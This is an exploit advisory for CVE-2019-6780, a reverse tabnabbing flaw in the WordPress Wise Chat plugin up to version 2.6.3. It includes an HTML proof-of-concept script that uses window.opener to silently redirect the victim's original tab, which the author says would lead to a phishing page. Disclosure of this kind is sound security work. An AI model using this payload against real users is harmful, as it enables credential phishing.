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WordPress Wisechat 2.6.3 Forced Redirect / Phishing

WordPress Wisechat 2.6.3 Forced Redirect / Phishing
Posted Jan 25, 2019
Authored by MTK

WordPress Wisechat plugin version 2.6.3 suffers from a forced tab redirection flow that can aid in phishing attacks.

tags | exploit
advisories | CVE-2019-6780
MD5 | 0ecf870da16821584b6e2f2155bb3fd6

WordPress Wisechat 2.6.3 Forced Redirect / Phishing

Change Mirror Download
# Exploit Title: Wordpress Plugin Wisechat <= 2.6.3 - Reverse Tabnabbing
# Date: 01-22-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: https://kaine.pl/
# Softwae Link: https://wordpress.org/plugins/wise-chat/
# Version: Up to V2.6.3
# Tested on: Debian 9 - Apache2 - Wordpress 4.9.8 - Firefox
# CVE : 2019-6780.


# Plugin description:
Wise Chat is a leading chat plugin that helps to build a social network and to increase user engagement on your website by providing the possibility to exchange real time messages in chat rooms. The plugin is easily installable and extremely configurable. Its features list is growing all the time.

# POC
Send following URL on wise chat "http://mtk911.cf/OR/" which has the following html

<html>
<script>
if (window.opener) window.opener.parent.location.replace('http://mtk911.cf/');
if (window.parent != window) window.parent.location.replace('http://mtk911.cf/');
</script>
Open Redirect TEST
</html>

when you click on that user. This opens in a new tab, and the parent tab is silently redirected to my website without asking the user.

#Technical Details & Impact:
In a real life example, this would redirect to a phishing site to try gain credentials for users.

# References:
https://wordpress.org/plugins/wise-chat/#developers
https://plugins.trac.wordpress.org/changeset/2016929/wise-chat/trunk/src/rendering/filters/post/WiseChatLinksPostFilter.php
https://plugins.trac.wordpress.org/changeset/2016929/wise-chat/trunk#file6
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6780

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